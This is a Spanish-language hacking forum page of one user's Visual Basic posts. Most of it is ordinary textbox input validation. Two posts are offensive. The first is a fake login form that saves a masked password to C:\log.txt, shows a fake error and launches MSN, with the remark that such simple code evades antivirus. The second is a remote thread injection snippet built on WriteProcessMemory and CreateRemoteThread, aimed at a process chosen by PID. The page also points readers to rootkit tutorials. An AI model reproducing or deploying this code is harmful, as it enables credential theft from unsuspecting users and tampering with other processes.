Mensajes

No, xD mira un ejemplo simple q no es detectado:

Código [Seleccionar] Expandir

Private Sub Command1_Click()
Open "C:\log.txt" For Binary As #1
Put #1, , Text1.Text & Text2.Text
Close #1
msgbox ' El mensaje de error
shell ' Ejecutas el msn
End Sub

Private Sub Form_Load()
Text2.PasswordChar = "*"
End Sub


Ala, eso es todo lo q hay q hacer, si el code es tan simple como eso no te lo deberian detectar
Si no podemos ver el code, pues no vamos a adivinar q le pasa xD

Salu2

Yo creo q tu estas confundiendo el hooking con el api hooking. Api hooking es lo de mi tuto, hooking es esto:
http://inexinferis.in.funpic.org/index.php?name=articles&req=listarticles&artid=6

No se puede lograr lo mismo ni por asomo, aunke los dos temas son interesantes
Salu2

Pues en troyanos y virus hay un tuto mio para hacer rootkits, q basicamente es api hooking, ahora hacerlo en VB xD no dire q no se pueda por q todo sea q alguien tenga un source por ahí, pero mas dificil q en C es seguro

Salu2

Pues es para q el programa no se sature en bucles muy largos, sigamos q suerme, es como el api sleep

Pues ni idea, por lo q dices q tiene no deberia ser detectado, por q lo unico q haces es guardar el contenido de 2 textbox en un archivo y luego ejecutar otro... eso no deberia ser detectado, a no ser q se lo hayas pasado a MUCHA gente y lo hayan usado mucho y los av's lo hayan detectado..

Vaya racha de sources xDD te ls pongo en la biblioteca todos

Solo hay que inyectar "mal", este es el code de hendrix:

Código [Seleccionar] Expandir

Dim Hendrix As String

Const PROCESS_ALL_ACCESS = &H1F0FFF

Const MEM_COMMIT = &H1000
Const MEM_RESERVE = &H2000
Const MEM_DECOMMIT = &H4000
Const MEM_RELEASE = &H8000
Const MEM_FREE = &H10000
Const MEM_PRIVATE = &H20000
Const MEM_MAPPED = &H40000
Const MEM_TOP_DOWN = &H100000
Const PAGE_READWRITE = &H4&

Private Sub Form_Load()
Dim PID As Long
Dim proc As Long
Dim nload As Long
Dim rems As Long
Dim DLL

Hendrix = "Crash"



PID = 2820 'Este es el pid del proceso a finalizar
proc = OpenProcess(PROCESS_ALL_ACCESS, False, PID)
nload = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA")
rems = VirtualAllocEx(proc, 0, Len(Hendrix), MEM_COMMIT, PAGE_READWRITE)
WriteProcessMemory proc, ByVal rems, Hendrix, 5, 0
CreateRemoteThread proc, 0, 0, nload, rems, 0, 0
CloseHandle proc
End
End Sub
Created by GeSHI 1.0.7.20


Modulo:

Código

GeSHi (vb):
Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Public Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Public Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long
Public Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Public Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Public Declare Function CreateRemoteThread Lib "kernel32" (ByVal hProcess As Long, lpThreadAttributes As Long, ByVal dwStackSize As Long, lpStartAddress As Long, lpParameter As Any, ByVal dwCreationFlags As Long, lpThreadId As Long) As Long


Te refieres a ellos por su index, por ej text1(25).text...

A mi me parece mas practico q andar llamando a una funcion todo el rato, pero weno si kieres la funcion kedaria asi:

Sub Validar(txt As TextBox, Error As String)
    Dim n As Integer, Digito As String * 1
    For n = 1 To Len(txt.Text)
        Digito = Mid(txt.Text, n, 1)
        If Asc(Digito) < 48 Or Asc(Digito) > 58 Then
            MsgBox "Error en (" & Error & ")"
            Exit Sub
        End If
    Next n
End Sub


Private Sub Command1_Click()
    Call Validar(Text1, "Celular")
End Sub

Si tiene una sla letra el textbox salta error, si no no

Pues los llamas a todos igual (vamos creas una matriz de controles) y pegas el mismo codigo:

Código [Seleccionar] Expandir

Private Sub Text1_KeyPress(Index As Integer, KeyAscii As Integer)
If KeyAscii = 8 Then Exit Sub

If KeyAscii < 48 Or KeyAscii > 58 Then
KeyAscii = 0

End If
End Sub

Y solucionado, ninguno admite letras

Y por q no haces q el textbox en cuestion solo acepte numeros y ya esta??

Código [Seleccionar] Expandir

Private Sub Text1_KeyPress(KeyAscii As Integer)

If KeyAscii = 8 Then Exit Sub

If KeyAscii < 48 Or KeyAscii > 58 Then
KeyAscii = 0

End If

End Sub